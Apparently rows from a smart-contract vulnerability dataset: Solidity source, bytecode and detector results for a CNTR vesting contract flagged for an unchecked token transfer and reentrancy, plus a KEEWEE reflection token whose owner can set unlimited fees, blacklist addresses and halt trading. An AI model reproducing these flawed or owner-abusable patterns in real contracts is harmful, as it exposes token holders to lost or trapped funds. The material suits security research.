// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // contract VestingContract is Ownable { using SafeMath for uint256; // CNTR Token Contract IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B); uint256[] vestingSchedule; address public receivingAddress; uint256 public vestingStartTime; uint256 constant public releaseInterval = 30 days; uint256 public totalTokens; uint256 public totalDistributed; uint256 index = 0; constructor(address _address) public { receivingAddress = _address; } function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner { require(vestingStartTime == 0); vestingSchedule = _vestingSchedule; for(uint256 i = 0; i < vestingSchedule.length; i++) { totalTokens = totalTokens.add(vestingSchedule[i]); } } function updateReceivingAddress(address _address) public onlyOwner { receivingAddress = _address; } function releaseToken() public { require(vestingSchedule.length > 0); require(msg.sender == owner() || msg.sender == receivingAddress); if (vestingStartTime == 0) { require(msg.sender == owner()); vestingStartTime = block.timestamp; } for (uint256 i = index; i < vestingSchedule.length; i++) { if (block.timestamp >= vestingStartTime + (index * releaseInterval)) { tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether)); totalDistributed = totalDistributed.add(vestingSchedule[i]); index = index.add(1); } else { break; } } } function getVestingSchedule() public view returns (uint256[] memory) { return vestingSchedule; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
6,762
0x5e2ff4353e1297aaf03841041b9acc02b22c2efb
/** *Submitted for verification at Etherscan.io on 2022-04-18 */ // SPDX-License-Identifier: Unlicensed /** Kiwi are best known as the significant national icon, equally cherished by all cultures in New Zealand. Kiwi are a symbol for the uniqueness of New Zealand wildlife and the value of our natural heritage The word "kiwi" often brings to mind the image of something small, brown, fuzzy, and found in the produce section of your local supermarket. But the kiwi is not a fruit—that's kiwifruit, which is native to eastern Asia! About the size of a chicken, the kiwi is a small, flightless, and nearly wingless bird found only in New Zealand. Kiwi values its territory very much — it doesn’t want other kiwis taking all the GOOD food and burrows it worked so hard to make; similarly to all the crypto investors, no one ever wants your revenue being taken away from scammers. The way Kiwi protects its own GOOD food is by producing a half scream, half whistle that also serves to scare others away and this cry sounds like “kee-wee, kee-wee,” which is how the bird got its name. The kiwi also patrols its area every night, leaving smelly droppings to mark boundaries to keep other kiwis away. The Kiwi Caw is designed to work like a Kiwi, dedicated to assisting the community to investigate the tokens / DeFi on the market. Kiwi caw will dually work in collaboration with various groups of elites who share the similar values and we are all after the scammers. https://t.me/keeweeportal https://kiwikeewee.com/ */ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KEEWEE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "KEEWEE"; string private constant _symbol = "KEEWEE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e11 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 7; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2e9 * 10**9; uint256 public _maxWalletSize = 2e9 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 500000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { require(maxWalletSize > 500000 * 10**9 ); _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610542578063dd62ed3e14610562578063ea1644d5146105a8578063f2fde38b146105c857600080fd5b8063a2a957bb146104bd578063a9059cbb146104dd578063bfd79284146104fd578063c3c8cd801461052d57600080fd5b80638f70ccf7116100d15780638f70ccf7146104675780638f9a55c01461048757806395d89b411461020957806398a5c3151461049d57600080fd5b80637d1db4a5146103f15780637f2feddc146104075780638203f5fe146104345780638da5cb5b1461044957600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038757806370a082311461039c578063715018a6146103bc57806374010ece146103d157600080fd5b8063313ce5671461030b57806349bd5a5e146103275780636b999053146103475780636d8aa8f81461036757600080fd5b80631694505e116101b65780631694505e1461027757806318160ddd146102af57806323b872dd146102d55780632fd689e3146102f557600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024757600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611af8565b6105e8565b005b34801561021557600080fd5b5060408051808201825260068152654b454557454560d01b6020820152905161023e9190611bbd565b60405180910390f35b34801561025357600080fd5b50610267610262366004611c12565b610687565b604051901515815260200161023e565b34801561028357600080fd5b50601354610297906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102bb57600080fd5b5068056bc75e2d631000005b60405190815260200161023e565b3480156102e157600080fd5b506102676102f0366004611c3e565b61069e565b34801561030157600080fd5b506102c760175481565b34801561031757600080fd5b506040516009815260200161023e565b34801561033357600080fd5b50601454610297906001600160a01b031681565b34801561035357600080fd5b50610207610362366004611c7f565b610707565b34801561037357600080fd5b50610207610382366004611cac565b610752565b34801561039357600080fd5b5061020761079a565b3480156103a857600080fd5b506102c76103b7366004611c7f565b6107c7565b3480156103c857600080fd5b506102076107e9565b3480156103dd57600080fd5b506102076103ec366004611cc7565b61085d565b3480156103fd57600080fd5b506102c760155481565b34801561041357600080fd5b506102c7610422366004611c7f565b60116020526000908152604090205481565b34801561044057600080fd5b5061020761089f565b34801561045557600080fd5b506000546001600160a01b0316610297565b34801561047357600080fd5b50610207610482366004611cac565b610a57565b34801561049357600080fd5b506102c760165481565b3480156104a957600080fd5b506102076104b8366004611cc7565b610ab6565b3480156104c957600080fd5b506102076104d8366004611ce0565b610ae5565b3480156104e957600080fd5b506102676104f8366004611c12565b610b23565b34801561050957600080fd5b50610267610518366004611c7f565b60106020526000908152604090205460ff1681565b34801561053957600080fd5b50610207610b30565b34801561054e57600080fd5b5061020761055d366004611d12565b610b66565b34801561056e57600080fd5b506102c761057d366004611d96565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b457600080fd5b506102076105c3366004611cc7565b610c07565b3480156105d457600080fd5b506102076105e3366004611c7f565b61